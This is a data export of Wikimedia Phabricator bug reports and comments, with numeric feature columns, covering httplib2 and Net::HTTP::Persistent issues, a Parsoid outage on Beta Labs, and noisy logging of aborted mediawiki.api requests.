https://gerrit.wikimedia.org/r/139604",,,1402764907,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vvbioabs65y634i4id6v,task_subcomment,,True,c3,1,False,,,-55,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,22.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,9.0,0.0,0.0,4.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.565217391304348,1.0,"Change 139604 had a related patch set uploaded by John Vandenberg:
(bug 66618) Fix httplib2 dependency check

GERRIT_URL"
68451,stop using Net:HTTP:Persistent?,"Reading the documentation and a cursory google search suggests that Net:HTTP:Persistent was useful for Ruby 1.8.x, but that the persistent function should be implemented automatically in Net:HTTP for 2.x. 

In the meantime, this gem causes these sorts of errors: 
too many connection resets (due to Timeout::Error - Timeout::Error) after 286 requests on 23958180, last used 60.017253158 seconds ago (Net::HTTP::Persistent::Error)

We might be better off removing the Persistent gem for modern Ruby versions.

--------------------------
**Version**: wmf-deployment
**Severity**: normal",Needs Triage,90.0,1402433460,1402588685.0,PHID-USER-kqibbfgfpgocyzwe32lv,False,,False,PHID-TASK-ud6uhnpiyjcvs722vm5e,task_description,resolved,True,c3,1,False,False,True,-56,True,0.5,0.0,0.0,0.5,0.0,5.5,1.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,9.0,0.0,0.0,0.5,0.0,0.0,1.5,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,5.0,0.0,1.5,0.0,0.0,1.0,8.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,11.5,1.0,1.0,4.0,0.0,0.0,0.0,0.0,1.5,0.0,3.0,0.0,1.0,9.0,6.5,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,1.5,1.0,0.0,0.0,4.614123376623377,0.7925324675324675,"Reading the documentation and a cursory google search suggests that Net:HTTP:Persistent was useful for Ruby 1.8.x, but that the persistent function should be implemented automatically in Net:HTTP for 2.x. 

In the meantime, this gem causes these sorts of errors: 
too many connection resets (due to Timeout::Error - Timeout::Error) after 286 requests on 23958180, last used 60.017253158 seconds ago (Net::HTTP::Persistent::Error)

We might be better off removing the Persistent gem for modern Ruby versions.

--------------------------
**Version**: wmf-deployment
**Severity**: normal"
302065,stop using Net:HTTP:Persistent?,Fixed in https://gerrit.wikimedia.org/r/#/c/139121/,,,1402588685,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-ud6uhnpiyjcvs722vm5e,task_subcomment,,True,c3,1,True,,,-55,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,1.0,Fixed in URL
302061,stop using Net:HTTP:Persistent?,Pairing with Chris on this.,,,1402585516,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-ud6uhnpiyjcvs722vm5e,task_subcomment,,True,c3,1,True,,,-55,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,3.8333333333333335,1.0,Pairing with Chris on this.
68161,add option to set httplib2.debuglevel,"httplib2 has debugging capabilities (httplib2.debuglevel), which would be useful to control from the pywikibot config, and ideally capture its debug output into the pywikibot logging layer

--------------------------
**Version**: core-(2.0)
**Severity**: enhancement",Needs Triage,90.0,1401948060,1433297797.0,PHID-USER-oxd6f6xemkuyttw7z7wl,False,PHID-USER-oxd6f6xemkuyttw7z7wl,False,PHID-TASK-75vs4oqju7l3q7ntzjqw,task_description,declined,True,c3,1,True,True,True,-56,True,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,4.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,0.0,18.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,4.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,6.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,2.0,4.877551020408164,0.7346938775510204,"httplib2 has debugging capabilities (httplib2.debuglevel), which would be useful to control from the pywikibot config, and ideally capture its debug output into the pywikibot logging layer

--------------------------
**Version**: core-(2.0)
**Severity**: enhancement"
514752,add option to set httplib2.debuglevel,https://github.com/jcgregorio/httplib2/issues/309,,,1440578174,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-75vs4oqju7l3q7ntzjqw,task_subcomment,,True,c3,3,True,,,7,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,URL
468052,add option to set httplib2.debuglevel,Switched to python-requests,,,1433297797,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-75vs4oqju7l3q7ntzjqw,task_subcomment,,True,c3,1,True,,,-5,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,Switched to python-requests
300450,add option to set httplib2.debuglevel,"Re capturing the output

http://blog.n01se.net/blog-n01se-net-p-218.html",,,1415501294,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-75vs4oqju7l3q7ntzjqw,task_subcomment,,True,c3,1,True,,,-34,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,33.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,4.166666666666667,1.0,"Re capturing the output

URL"
67553,"Parsoid dead on BetaLabs (getting ""parsoidserver-http-bad-status: 503"" on VE load)","Getting the following while trying to load VE on Betalabs : Error loading data from server: parsoidserver-http-bad-status: 503

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1400617680,1400620161.0,PHID-USER-24djtv3gj5gua2y6u2g5,False,,False,PHID-TASK-z47j727fj45rve5q5uwp,task_description,resolved,True,c3,1,False,False,True,-59,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,14.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.113636363636363,0.6818181818181818,"Getting the following while trying to load VE on Betalabs : Error loading data from server: parsoidserver-http-bad-status: 503

--------------------------
**Version**: unspecified
**Severity**: normal"
295694,"Parsoid dead on BetaLabs (getting ""parsoidserver-http-bad-status: 503"" on VE load)",Parsoid broke in beta labs because someone swapped the UIDs of the parsoid user and mwalker. This caused various things that should have been owned by parsoid to be owned by mwalker until I manually fixed it.,,,1400620153,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-z47j727fj45rve5q5uwp,task_subcomment,,True,c3,1,True,,,-59,True,0.0,3.0,0.0,5.0,0.0,8.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,18.0,3.0,3.0,3.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,3.0,0.0,18.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,5.0,10.0,3.0,3.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,18.0,3.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,4.410256410256411,0.8461538461538461,Parsoid broke in beta labs because someone swapped the UIDs of the parsoid user and mwalker. This caused various things that should have been owned by parsoid to be owned by mwalker until I manually fixed it.
295688,"Parsoid dead on BetaLabs (getting ""parsoidserver-http-bad-status: 503"" on VE load)",*** Bug 65555 has been marked as a duplicate of this bug. ***,,,1400619845,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-z47j727fj45rve5q5uwp,task_subcomment,,True,c3,1,True,,,-59,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 65555 has been marked as a duplicate of this bug. ***
295684,"Parsoid dead on BetaLabs (getting ""parsoidserver-http-bad-status: 503"" on VE load)",Parsoid is down completely in beta labs. I tried restarting it but it doesn't come up. Investigating.,,,1400617898,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-z47j727fj45rve5q5uwp,task_subcomment,,True,c3,1,True,,,-59,True,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,5.0,10.0,14.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,14.0,10.0,5.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,4.0476190476190474,0.8571428571428571,Parsoid is down completely in beta labs. I tried restarting it but it doesn't come up. Investigating.
67442,"Aborted mediawiki.api requests are logged as errors (""mw.Api error: "" ""http"" {xhr: Object, textStatus: ""abort"", exception: ""abort""})","I'm getting a lot of warnings like this
""mw.Api error: "" ""http"" {xhr: Object, textStatus: ""abort"", exception: ""abort""}
in the console. I believe it comes from this line:
mw.popups.render.currentRequest.abort();
of ext.popups.renderer.js.

--------------------------
**Version**: 1.24rc
**Severity**: normal",Needs Triage,90.0,1400363640,1409937713.0,PHID-USER-sryrz6tgcfnnsiddx32p,False,,False,PHID-TASK-vhyfb66m2hqqjjd642wl,task_description,resolved,True,c3,1,False,False,True,-59,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,8.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,6.0,4.0,0.0,10.0,0.0,4.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,3.6103896103896105,0.5844155844155844,"I'm getting a lot of warnings like this
""mw.Api error: "" ""http"" {xhr: Object, textStatus: ""abort"", exception: ""abort""}
in the console. I believe it comes from this line:
mw.popups.render.currentRequest.abort();
of ext.popups.renderer.js.

--------------------------
**Version**: 1.24rc
**Severity**: normal"
304406,"Aborted mediawiki.api requests are logged as errors (""mw.Api error: "" ""http"" {xhr: Object, textStatus: ""abort"", exception: ""abort""})","Change 157350 merged by jenkins-bot:
mediawiki.api: Actually don't log request error 'abort'

https://gerrit.wikimedia.org/r/157350",,,1409937665,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vhyfb66m2hqqjjd642wl,task_subcomment,,True,c3,1,False,,,-43,True,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,5.0,14.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,4.2727272727272725,0.9090909090909091,"Change 157350 merged by jenkins-bot:
mediawiki.api: Actually don't log request error 'abort'

GERRIT_URL"
304402,"Aborted mediawiki.api requests are logged as errors (""mw.Api error: "" ""http"" {xhr: Object, textStatus: ""abort"", exception: ""abort""})","Change 157350 had a related patch set uploaded by Bartosz Dziewoński:
mediawiki.api: Actually don't log request error 'abort'

https://gerrit.wikimedia.org/r/157350",,,1409413949,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vhyfb66m2hqqjjd642wl,task_subcomment,,True,c3,1,False,,,-44,True,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,19.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,4.0,15.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.653846153846154,0.9230769230769231,"Change 157350 had a related patch set uploaded by Bartosz Dziewoński:
mediawiki.api: Actually don't log request error 'abort'

GERRIT_URL"
304397,"Aborted mediawiki.api requests are logged as errors (""mw.Api error: "" ""http"" {xhr: Object, textStatus: ""abort"", exception: ""abort""})",Possibly due to jQuery upgrade?,,,1409412102,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-vhyfb66m2hqqjjd642wl,task_subcomment,,True,c3,1,True,,,-44,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,1.0,Possibly due to jQuery upgrade?
304392,"Aborted mediawiki.api requests are logged as errors (""mw.Api error: "" ""http"" {xhr: Object, textStatus: ""abort"", exception: ""abort""})","Change 137269 merged by jenkins-bot:
core: Ignore '.oo-ui-buttonedElement-button' links

https://gerrit.wikimedia.org/r/137269",,,1408626595,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vhyfb66m2hqqjjd642wl,task_subcomment,,True,c3,1,False,,,-45,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,12.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8333333333333335,0.7916666666666666,"Change 137269 merged by jenkins-bot:
core: Ignore '.oo-ui-buttonedElement-button' links

GERRIT_URL"
304387,"Aborted mediawiki.api requests are logged as errors (""mw.Api error: "" ""http"" {xhr: Object, textStatus: ""abort"", exception: ""abort""})","For some reason the code variable used in this test
https://gerrit.wikimedia.org/r/#/c/132004/1/resources/src/mediawiki.api/mediawiki.api.js,unified
does not contains 'abort' (anymore?). Its value is 'http' and the 'abort' is actually on details.exception and details.textStatus.

These logs causes a lot of undesirable noise while debugging other things in a page with many links (such as the Watchlist).",,,1406907614,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-vhyfb66m2hqqjjd642wl,task_subcomment,,True,c3,1,False,,,-48,True,3.0,0.0,0.0,0.0,1.0,6.0,1.0,0.0,0.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,3.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,7.0,1.0,3.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,12.0,3.0,1.0,9.0,0.0,1.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,3.8970588235294117,0.75,"For some reason the code variable used in this test
URL
does not contains 'abort' (anymore?). Its value is 'http' and the 'abort' is actually on details.exception and details.textStatus.

These logs causes a lot of undesirable noise while debugging other things in a page with many links (such as the Watchlist)."
304379,"Aborted mediawiki.api requests are logged as errors (""mw.Api error: "" ""http"" {xhr: Object, textStatus: ""abort"", exception: ""abort""})","Change 137269 had a related patch set uploaded by Prtksxna:
core: Ignore '.oo-ui-buttonedElement-button' links

https://gerrit.wikimedia.org/r/137269",,,1401855418,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vhyfb66m2hqqjjd642wl,task_subcomment,,True,c3,1,False,,,-57,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,4.0,11.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.074074074074074,0.8518518518518519,"Change 137269 had a related patch set uploaded by Prtksxna:
core: Ignore '.oo-ui-buttonedElement-button' links

GERRIT_URL"
304374,"Aborted mediawiki.api requests are logged as errors (""mw.Api error: "" ""http"" {xhr: Object, textStatus: ""abort"", exception: ""abort""})","Is it alright to ignore the "".oo-ui-buttonedElement-button"" class to resolve the Cancel button issue or some other approach needs to be taken for it?",,,1401790578,,PHID-USER-gc5hdyw5p4np7atqjynz,False,,,PHID-TASK-vhyfb66m2hqqjjd642wl,task_subcomment,,True,c3,1,False,,,-57,True,3.0,0.0,0.0,3.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,6.0,12.0,3.0,3.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8181818181818183,0.7575757575757576,"Is it alright to ignore the "".oo-ui-buttonedElement-button"" class to resolve the Cancel button issue or some other approach needs to be taken for it?"
304369,"Aborted mediawiki.api requests are logged as errors (""mw.Api error: "" ""http"" {xhr: Object, textStatus: ""abort"", exception: ""abort""})","I'm not seeing these anymore.

But I do find one more link which should probably not have Popups: the cancel link below the editbox.",,,1400940723,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-vhyfb66m2hqqjjd642wl,task_subcomment,,True,c3,1,False,,,-58,True,0.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,7.0,0.0,14.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,3.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.0,0.0,7.0,0.0,14.0,0.0,3.0,14.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,7.0,3.0,3.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,3.793103448275862,0.8275862068965517,"I'm not seeing these anymore.

But I do find one more link which should probably not have Popups: the cancel link below the editbox."
304361,"Aborted mediawiki.api requests are logged as errors (""mw.Api error: "" ""http"" {xhr: Object, textStatus: ""abort"", exception: ""abort""})","Helder, are these being generated on links that shouldn't have Hovercards to begin with. If no, lets mark this invalid. If yes, are such links documented on some other bug? If yes, let close this. If not, could you please share more details?",,,1400921554,,PHID-USER-gc5hdyw5p4np7atqjynz,False,,,PHID-TASK-vhyfb66m2hqqjjd642wl,task_subcomment,,True,c3,1,False,,,-58,True,2.0,0.0,0.0,2.0,4.0,6.0,4.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,15.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,11.0,4.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,11.0,7.0,0.0,9.0,0.0,0.0,0.0,0.0,11.0,6.0,0.0,0.0,2.0,15.0,2.0,4.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,3.685185185185185,0.7222222222222222,"Helder, are these being generated on links that shouldn't have Hovercards to begin with. If no, lets mark this invalid. If yes, are such links documented on some other bug? If yes, let close this. If not, could you please share more details?"
304353,"Aborted mediawiki.api requests are logged as errors (""mw.Api error: "" ""http"" {xhr: Object, textStatus: ""abort"", exception: ""abort""})","This is just debugging information to let you know a request was aborted. This is generally a good thing (e.g. if a request is no longer needed because of new information and the firing of a new request, the previous one should be aborted for efficiency).

Because the information was next to useless, it was removed from mediawiki.api.js in I7797c833745b4. The aborting still happens though, as it should.

